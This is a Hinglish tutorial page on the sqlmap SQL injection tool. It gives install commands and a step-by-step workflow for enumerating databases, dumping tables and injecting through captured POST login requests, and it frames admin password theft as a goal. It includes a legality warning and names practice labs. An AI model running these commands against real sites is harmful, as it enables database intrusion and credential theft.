SQLmap

SQL Injection Tool

🗄️ SQLmap क्या है?

SQLmap एक powerful automated SQL injection tool है जो web applications में SQL injection vulnerabilities detect और exploit करने के लिए use होता है। इसका काम है databases से data extract करना और administrative access प्राप्त करना।

👉 SQL injection testing में यह सबसे popular और advanced tool है।

🔍 SQLmap क्या-क्या कर सकता है

SQL Injection Detect

Vulnerabilities automatically find करना

Database Enumerate

Database names, tables, columns list करना

Data Dump

Table से data extract करना

Password Dump

User passwords extract करना

OS Shell

Remote shell access प्राप्त करना

Read Files

Server files read करना

⚙️ Kali NetHunter / Termux में SQLmap install

apt / pipInstallation Commands

Method 1: Using apt (Recommended)

apt update
apt install sqlmap

Method 2: Using pip

pip install sqlmap

Verify Installation

sqlmap --version

💻 Basic Commands (Use)

👉 Commands को एक-एक करके use कर सकते हो:

Simple Vulnerability Test

sqlmap -u "http://example.com/page?id=1"

Get All Databases

sqlmap -u "http://example.com/page?id=1" --dbs

Get Tables from Database

sqlmap -u "http://example.com/page?id=1" -D database_name --tables

Get Columns from Table

sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns

Dump Data from Table

sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump

🔥 Real Example (Practical समझ)

Example🎯 Complete SQL Injection Workflow

Step 1: Detect Vulnerability

sqlmap -u "http://vulnerable-site.com/product?id=5"

👉 SQLmap automatically tests different injection techniques → Boolean, Error-based, Union-based, etc.

📊 Output समझो

👉 मान लो output कुछ ऐसा आता है:

available databases [3]:
[*] information_schema
[*] shop_db
[*] admin_db

🧠 इसका मतलब:

information_schema

System Database

Default MySQL database

shop_db

Application Database

Products, orders, users data

admin_db

Admin Database

Admin credentials, settings

👉 अब आप admin_db में जाकर admin table dump कर सकते हो → Passwords चुरना possible!

🔥 Advanced: Post Data Injection

👉 कई times injection POST request में होती है (login forms):

Step 1: Capture Login Request (Burp/ZAP)

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test

Step 2: Save to file (login.txt)

Step 3: Run SQLmap on POST data

sqlmap -r login.txt -p username

👉 -r flag file read करता है, -p flag कहता है कि कौन सा parameter test करना है

⚠️ Important Warning

बिना permission किसी भी database को access करना illegal है

Practice के लिए use करो:

  • DVWA (Damn Vulnerable Web App)
  • OWASP Juice Shop
  • SQL Injection Labs (PortSwigger)

🧩 Related Tools

Burp Suite

Web application testing

OWASP ZAP

Free web security scanner

💡 Simple समझ

SQLmap = "Database का Master Key"

SQL injection vulnerability होने पर, यह tool पूरी database को dump कर सकता है। Admin passwords, user data, सब कुछ चुर सकता है।